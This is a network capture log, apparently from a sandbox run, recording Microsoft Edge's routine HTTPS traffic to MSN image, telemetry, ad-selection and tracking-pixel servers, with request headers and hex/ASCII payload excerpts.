2024-11-25 11:08:56 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 11:08:56 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 19 Nov 2024 01:11:09 GMT X-Datacenter: westus X-ActivityId: d1332dc8-9c45-4f85-a99f-4fe76a720ba2 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL X-Source-Length: 1658 Content-Length: 1658 Cache-Control: public, max-age=266489 Expires: Thu, 28 Nov 2024 13:10:25 GMT Date: Mon, 25 Nov 2024 11:08:56 GMT Connection: close
2024-11-25 11:08:56 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.8	49815	104.117.182.56	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:56 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 11:08:56 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=398823 Expires: Sat, 30 Nov 2024 01:55:59 GMT Date: Mon, 25 Nov 2024 11:08:56 GMT Connection: close
2024-11-25 11:08:56 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.8	49817	104.117.182.56	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:56 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 11:08:56 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Sat, 23 Nov 2024 18:14:45 GMT X-Source-Length: 5699 X-Datacenter: eastus X-ActivityId: 5c4ddcbc-0d99-4ea0-a3c4-13e18d04c61f Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=284689 Expires: Thu, 28 Nov 2024 18:13:45 GMT Date: Mon, 25 Nov 2024 11:08:56 GMT Connection: close
2024-11-25 11:08:56 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.8	49819	104.117.182.56	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:56 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 11:08:56 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=94716 Expires: Tue, 26 Nov 2024 13:27:32 GMT Date: Mon, 25 Nov 2024 11:08:56 GMT Connection: close
2024-11-25 11:08:56 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.8	49818	104.117.182.56	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:56 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 11:08:56 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=382136 Expires: Fri, 29 Nov 2024 21:17:52 GMT Date: Mon, 25 Nov 2024 11:08:56 GMT Connection: close
2024-11-25 11:08:56 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.8	49812	20.189.173.24	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:56 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732532933073&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3781 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0A576580DC7A6D0124D170C2DDEE6CAA; _EDGE_S=F=1&SID=1E9460D0D047688427CB7592D1A5693C; _EDGE_V=1
2024-11-25 11:08:56 UTC	3781	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 35 54 31 31 3a 30 38 3a 35 33 2e 30 36 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 64 65 33 34 31 37 33 62 2d 66 65 39 36 2d 34 34 32 39 2d 39 36 61 30 2d 32 62 64 30 39 38 37 39 30 66 34 64 22 2c 22 65 70 6f 63 68 22 3a 22 31 35 30 33 37 31 34 35 35 33 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-25T11:08:53.069Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"de34173b-fe96-4429-96a0-2bd098790f4d","epoch":"1503714553"},"app":{"locale
2024-11-25 11:08:56 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=096de060ef9249f59ec6955643f40b49&HASH=096d&LV=202411&V=4&LU=1732532936566; Domain=.microsoft.com; Expires=Tue, 25 Nov 2025 11:08:56 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=79945e0b86b94dc4989e1677f4b26c66; Domain=.microsoft.com; Expires=Mon, 25 Nov 2024 11:38:56 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3493 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 25 Nov 2024 11:08:55 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.8	49813	20.75.60.91	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:56 UTC	1068	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=0A576580DC7A6D0124D170C2DDEE6CAA&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=fb60a030263d460ff8a31e18db70ea3f HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0A576580DC7A6D0124D170C2DDEE6CAA; _EDGE_S=F=1&SID=1E9460D0D047688427CB7592D1A5693C; _EDGE_V=1
2024-11-25 11:08:56 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 25 Nov 2024 11:08:56 GMT Connection: close
2024-11-25 11:08:56 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.8	49820	20.110.205.119	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:56 UTC	1261	OUT	GET /c.gif?rnd=1732532933075&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=354610ce91cb4454a7edd3a26242369f&activityId=354610ce91cb4454a7edd3a26242369f&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=81A7AD75DE404C4D9504966CD607D61E&MUID=0A576580DC7A6D0124D170C2DDEE6CAA HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0A576580DC7A6D0124D170C2DDEE6CAA; _EDGE_S=F=1&SID=1E9460D0D047688427CB7592D1A5693C; _EDGE_V=1; SM=T
2024-11-25 11:08:57 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=0A576580DC7A6D0124D170C2DDEE6CAA; domain=.msn.com; expires=Sat, 20-Dec-2025 11:08:57 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=0A576580DC7A6D0124D170C2DDEE6CAA; domain=c.msn.com; expires=Sat, 20-Dec-2025 11:08:57 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Mon, 02-Dec-2024 11:08:57 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Mon, 25-Nov-2024 11:18:57 GMT; path=/; SameSite=None; Secure; Date: Mon, 25 Nov 2024 11:08:56 GMT Connection: close Content-Length: 42
2024-11-25 11:08:57 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.8	49825	20.75.60.91	443	7660	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 11:08:58 UTC	1018	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=0A576580DC7A6D0124D170C2DDEE6CAA&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=13e7afd074a648f0bd44597f5825964d HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=0A576580DC7A6D0124D170C2DDEE6CAA; _EDGE_S=F=1&SID=1E9460D0D047688427CB7592D1A5693C; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-25 11:08:59 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2718 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132847-T700343875-C128000000002115449+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002115449+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 25 Nov 2024 11:08:58 GMT Connection: close
